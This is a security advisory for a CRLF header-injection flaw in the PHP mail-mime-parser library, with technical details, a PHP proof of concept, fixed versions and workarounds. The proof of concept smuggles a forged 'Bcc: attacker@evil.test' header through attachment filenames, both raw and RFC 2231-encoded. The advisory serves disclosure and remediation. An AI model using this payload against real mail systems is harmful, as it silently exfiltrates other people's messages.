GHSA-36h5-qg4p-q2qf: CRLF Injection
Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
Details
On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:
Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test"
The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
- ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename= parameter with no control-character stripping, so a crafted filename=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n. - The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.
As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.
Proof of concept
php composer require zbateson/mail-mime-parser
<?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; use ZBateson\MailMimeParser\Message;
$parser = new MailMimeParser();
function attachAndReport(string $filename): void { $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false); $out->addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->toString(), "\r\nBcc: attacker@evil.test") !== false) ? "INJECTED\n" : "clean\n"; }
attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED
// The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n" . base64encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); vardump($fn); // => string(28) "doc\r\nBcc: attacker@evil.test" attachAndReport($fn); // => INJECTED
Patches
Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.
Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.
Workarounds
If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. pregreplace('/[\r\n]+/', ' ', $filename).
- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/zbateson/mail-mime-parserto a version that resolves this vulnerability.Fixed in 4.0.2 - Upgrade
Upgrade
composer/zbateson/mail-mime-parserto a version that resolves this vulnerability.Fixed in 3.0.6 - Upgrade
Upgrade
zbateson/mail-mime-parserto a version that resolves this vulnerability.Fixed in 4.0.2 - Compensating control
Strip carriage-return (CR) and line-feed (LF) characters from attachment filenames before passing them to attachment APIs, and from getFilename() results before reusing them in constructed messages.
Event History
Frequently Asked Questions
Which applications are exposed in practice?
Applications that use this library to build or forward MIME messages are exposed when an attachment filename can be influenced by an attacker. This includes applications that parse inbound email and later re-attach or re-send the parsed filename.
What does an attacker need to exploit this issue?
The attacker needs a way to supply or influence an attachment filename containing carriage-return and line-feed characters. The supplied severity vector indicates network reachability with no privileges or user interaction required.
What can the attacker achieve through injected headers?
An attacker can cause additional attacker-controlled MIME header lines to be serialized. For example, a forged Bcc header could send a copy of an outgoing message to an attacker-controlled address.
What can be done while a fix is being deployed?
Reject or remove carriage-return and line-feed characters from attachment filenames before they are passed into MIME message creation or forwarding. Pay particular attention to filenames obtained from parsed inbound messages.
How can we identify affected code paths?
Review outbound attachment handling that reaches MultipartHelper::createAndAddPartForAttachment() with untrusted filenames. The vulnerable behavior occurs when the filename is converted with iconv but then written into Content-Type or Content-Disposition through MimePart::setRawHeader() without CR/LF stripping.